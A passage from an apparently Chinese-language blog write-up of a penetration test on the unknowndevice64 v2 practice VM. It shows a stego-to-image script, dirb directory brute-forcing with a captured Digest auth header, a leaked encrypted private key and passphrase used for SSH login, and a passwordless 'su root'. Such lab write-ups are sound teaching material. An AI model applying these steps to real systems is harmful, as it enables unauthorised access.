    return struct.unpack('>HH', b'\x00' + byte + b'\x01\x01')[0]


def save_img(width):
    with open('out2', 'rb') as f:
        data = f.read()
    length = len(data)

    im = Image.new('RGBA', (width, length//width//4+1))    # or CMYK

    n = 0
    w = 0
    r = 0
    while True:
        if n+4 > length:
            break
        p = (byte2int(data[n]), byte2int(data[n+1]), byte2int(data[n+2]), byte2int(data[n+3]))
        im.putpixel((w, r), p)
        n += 4
        w += 1
        if w % width == 0:
            w = 0
            r += 1

    im.save('out_{}.png'.format(width), 'PNG')

save_img(126)    # 边长126是猜测

用此脚本将out2转换为bmp图片:

root@kali:~/Documents/unknowndevice64_v2# python img.py

转换成功,然后结果却如下图所示,没有任何用处。

提取出的图片

Web目录爆破

最后实在没辙了,只好重新开始信息收集。

考虑进行Web目录爆破。由于需要认证,所以开始爆破前现在浏览器中登录一次,提取出HTTP请求头中的登录凭据,然后再用dirb进行爆破,并用“-H”参数添加登录凭据:

root@kali:~# dirb http://192.168.1.9:12345/ -H 'Authorization: Digest username="administrator", realm="Secret Zone", nonce="6fOzh9JwfhAuPld55TEUkdYPW+U4u0Z6Bnvz+HZmVNU", uri="/robots.txt", algorithm=MD5, response="4e43458ad13f181568f2c4709d216773", qop=auth, nc=00000005, cnonce="c1e850a15732739b"'

dirb命令输出

找到了三个存在的路径:

  • http://192.168.1.9:12345/index.html (CODE:200|SIZE:28577)
  • http://192.168.1.9:12345/info.php (CODE:200|SIZE:2310)
  • http://192.168.1.9:12345/robots.txt (CODE:200|SIZE:34)

其中/index.html是首页已经看过了,/robots.txt的内容是:

User-agent: *
Disallow: /info.php

看来关键就在/info.php了。

info.php

在浏览器中访问http://192.168.1.9:12345/info.php,结果直接将文件下载下来了。查看其内容为:

<?php                                                           
echo "ssh";                                                     

print "                                                         

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66DC76DE3D5936CDE0A0B5F853493E33

91untRTob5/z64lo3dtMF55jWzXR/ctWMlt6GRJsRhhPsHSiaJjxwL+/5wUvLM/K
YM9IwB3bT3eYHZ4UP2I0qjDuJxK+6scMZvdpJh7KKeql8AJh1TpZrsSvbXkSIDHo
C8Lp+w26LQMhCAw9LgT0BO9qEL1ebC9zzbqTr0/fnzeq12ZDfHCdvkieenLF9VUk
UUsRyytoOgOrG0wb5uKi0hGEZTgVVwfiE/wyxSi3JIonzqcipOCnCEv3qsGq5ep/
/6oALAS2DZt9fGbtvhHsz/YxP7uGxKswMPTF5NB5rWaZ7K39CJNsKDawyivmjLtx
RiTPR7oVkRUZssmL4r5cHFaKQlNw9yqcBo/Nnt3dU/W9q4eSyKrzfeMWizVhEtkG
QataheYvz+XOJo0HMzhnkoomXZ8Zx/vbg0FKm4u67gF4bzqD88vDLkT+mclxPl8J
4fASLyij+Ry9C/k+a62bWHtk/317jqXsdBY3IIC4BeoDnMDBlduB1P19YiI9q9fI
iQymoK47ebtXw2sk5ghjOfFqjxTDwPx1Qqiz5K5Sk4n2n+09OxBzXan3dslqBDt4
dUoCYBYFkGNkZnQO0cvPsqsNj/7awGmvpol71KU/CK1mt71dAPForfhf/1sm5DcX
AhPXXhDjUMKXn0gQXdeHYWiN9UJFN1lxOAWdQMgO6QMXzM9xlIFw+XrPERR0jl5c
f97YlNVydNnVZFNpAOkbWMl9KJu7EwGEQzAK3WaDiP5FA4YljUOwITvZ8wB17Kv6
aF67UzZbowOAOzmVQxrDBPn2MssKWGCm5H9lZLrt9jvS39oT97H5/o/Tq7tSGflh
4F/RKeUMxv060ETLwaYywtHR2qP2EM2Ixc3jcXxkHdJzb1R6q5cAAsnZAWe/B/7F
q5R3B4593leDyEO/12mEaAnioCNa14cEBDF2CYDFfSr/YD4kfJ0mLYJHTA/10acb
UNgvvrT390pi/ESpHKkobE8+qf7w/zp8F4pGAw7rJmmC4YCXFeMQkHsHW5wjYb/o
yzjW1OpW468xcIKNhhnrMiP4ot1awCsmMoEb9VYhpAxIGtTbON+6x680cCRSLP3r
+2AqrAnXSYJmNPrLJVhZLFouXAmok5U4CPJ0JVspH8tkSwMbIJc9rUWtFfZqUjdF
1GpjnoT12F+GmtBAyXCrP0SuDMvO3xa7A62LIETC8IqET7Yo1VpOhsYzlwpQ1698
Gf8HbTdw/2lYedN0xCv4f1qHxVHnTv1E5nDR28eUGjlYNFo5u3R6XVQUuJqg+MCl
7tdLDisXfDuwz0r4FGLGKIhqZqC9zOKn/p5t4h+hanX6Sh6ATw3RsN5aSXERrbJP
UppqiARYZkHzxlubVGK2nAyKTEF9musc4airNDxs3Dfb75OKDbGbhVyFcuNxES5r
W0N0b3gKSxGgqczFG5wZhdHwUIpi1ueNFNBtoHyqd21JPg3aCoYI8XiGRGYxGpnl
JWhnQuu53DzZVcxeBy+LTL42VKafjUUA1OCIX9cAg2Vz8RYxrV8yy0d9R6uA7ByZ
G1uunv0K+QCNzHjyoc6FnGwTi4rTWh9o074XbqswOcdWNRitBDvg+9diBgKvvUw4
-----END RSA PRIVATE KEY-----                                                                

";                                                              

//unkn0wnd3v1c3-64 

?>

竟然是一个私钥,还有一个看上去像是密码的东西“unkn0wnd3v1c3-64”。将私钥保存到文件~/.ssh/id_rsa中,并且设置该文件的权限为0600,然后用ssh登录目标主机,果然需要输入私钥的解密口令,尝试输入“nkn0wnd3v1c3-64”,登录成功,如下图所示。

ssh登录

SSH探索

但登录成功后的shell却十分奇怪:

x86_64:/data/data/org.galexander.sshd/files $ 

从没见过这样的shell提示符。输入ls命令后提示:

ls命令输出

搜索Dropbear发现是个常用于嵌入式系统的轻量级ssh服务端程序。

输入uname命令,惊奇的发现是个android系统:

x86_64:/data/data/org.galexander.sshd/files $ uname -r

uname命令输出

呃,好吧。查看下权限,果然不是root,但尝试用“su root”命令切换为root用户,竟然不用输密码就成功了!这绝对是我见过的最简单的提权了。

whoami命令输出

搜索flag.txt,成功找到:

拿到flag

flag中的两句话也很有趣:

It is fairly open secret that almost all system can be hacked, somehow.
It is a less spoken that such HACKING has actually gone quite main stream.

总结

隐写破解

开始时以为“Zlib compressed data”就是zip文件的意思,便用unzip解压提取出的加密数据,怎么解压都不成功。为此花了很多时间研究zip格式,没有任何用处。到第二天,才忽然开悟,“Zlib compressed data”只是单纯对数据的压缩,直接解压缩就行。

信息收集

如果是按照渗透测试的步骤,先进行扎实的信息收集,就不会陷入到隐写破解的歧途中而浪费很多时间了。

此外看了Walkthrough才知道5555端口是Android的调试端口,Nmap并没有能够准确地识别出来。我过于依赖工具了。

find命令的-name参数是做全匹配搜索的。一开始以为是模糊匹配,搜索“flag”,怎么也搜不到,后来搜索“flag.txt”,才搜到了。平时没有注意这些细节,导致又多费了很多时间。

]]>
https://blog.werner.wiki/penetrate-unknowndevice64-2/feed/ 0